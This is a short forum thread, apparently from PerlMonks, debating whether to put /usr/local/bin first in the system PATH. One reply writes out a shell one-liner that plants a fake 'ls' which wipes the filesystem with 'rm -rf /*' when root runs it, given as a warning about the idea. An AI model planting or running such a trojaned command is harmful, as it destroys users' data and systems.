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Re^2: My first USEFUL script!

by oko1 (Deacon)
on Mar 05, 2008 at 16:13 UTC ( #672204=note: print w/replies, xml ) Need Help??

in reply to Re: My first USEFUL script!
in thread My first USEFUL script!

put /usr/local/bin as the first entry in PATH system-wide

This would be a really, really bad idea.

joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls

The next time that root runs 'ls', the system is gone.

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Re^3: My first USEFUL script!
by Tanktalus (Canon) on Mar 05, 2008 at 22:21 UTC

    The really bad idea here is where someone other than root can write to /usr/local/*.

    If root did the above, well, you already have root - no need to hide behind some silly script.

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